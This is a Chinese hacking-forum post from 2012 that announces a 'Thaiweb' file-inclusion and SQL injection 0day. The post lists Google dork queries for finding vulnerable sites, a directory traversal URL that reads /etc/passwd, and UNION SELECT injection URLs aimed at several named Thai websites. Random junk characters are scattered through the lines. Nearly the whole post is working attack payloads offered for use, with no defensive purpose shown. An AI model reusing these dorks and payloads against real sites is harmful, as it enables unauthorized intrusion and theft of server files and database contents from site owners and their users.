找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2360|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Google之:
* D$ e" ^+ k+ @8 @+ X8 q; Y
7 V- p$ x% Y) O" |intext:powered by Thaiweb
' ~( d6 b9 G! Z
% S3 i; t& a2 ?' f& [& Binurl:index.php?page=board.php
: v4 ^- I. d, F0 @8 X% A( X! Q1 c# a
- K  O/ |( R1 R; ?( f5 F" s6 E* p % [  Q; u" m1 T

$ V0 e. S+ D! E8 r利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd$ V% h0 R$ K& `! ~, s" F( i* B

0 |" t( |- B1 l0 z# Q5 {  P* L5 @
' g: Y/ a4 M" h$ P, s- V5 b' Z! K4 W0 y* @; Z% w2 ?. Q9 c0 q
利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'
  u+ B" V" H7 s1 L1 {! O; `$ D/ s& _, R

: g8 V) s  Y8 B! T1 K+ ]2 X$ W. z: P
http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
3 G) `, g2 Y# w" K; @
6 B. A6 ~3 G) X4 thttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
' g: y5 O4 A- G4 f; \$ p8 ^ % C# G" H2 U, g' k: f
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
1 L+ H  O$ G( A. }" }' g- Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表